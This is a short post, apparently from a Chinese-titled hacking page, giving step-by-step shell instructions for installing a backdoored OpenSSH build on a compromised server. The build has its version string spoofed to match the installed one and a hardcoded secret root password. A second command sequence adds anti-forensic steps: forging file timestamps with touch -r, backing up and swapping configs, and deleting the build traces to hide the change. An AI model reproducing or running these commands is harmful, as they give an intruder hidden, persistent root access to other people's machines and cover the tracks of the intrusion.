SSH 后门

How to install

 

shell-# wget

shell-# tar zxvf sshbd.tgz

shell-# cd openssh

 

Edit version.h likes the current version of ssh running on the box

#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

 

Edit includes.h, specify your backdoor password

#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish  

 

shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh

shell-# make && make install

shell-# cp ssh_config sshd_config /etc/ssh/

shell-# /etc/init.d/sshd restart

 

FINISH, try logged in to the box "ssh -l root "

enter your backdoor password.

 

Boom, now you're root

 

wget

tar zxvf sshbd.tgz

cd openssh

vi version.h

#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

vi includes.h

#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish

cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub

cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub

touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub

touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub

cp /usr/bin/ssh /usr/bin/ssh-key.pub

touch -r /usr/bin/ssh /usr/bin/ssh-key.pub

./configure --prefix=/usr --sysconfdir=/etc/ssh

make && make install

cp ssh_config sshd_config /etc/ssh/

cd ..

rm -rf ./ssh*

rm -rf openssh

diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub

vi sshd_config

diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub

vi ssh_config

touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config

touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config

touch -r /usr/bin/ssh-keypub /usr/bin/ssh*

/etc/init.d/sshd restart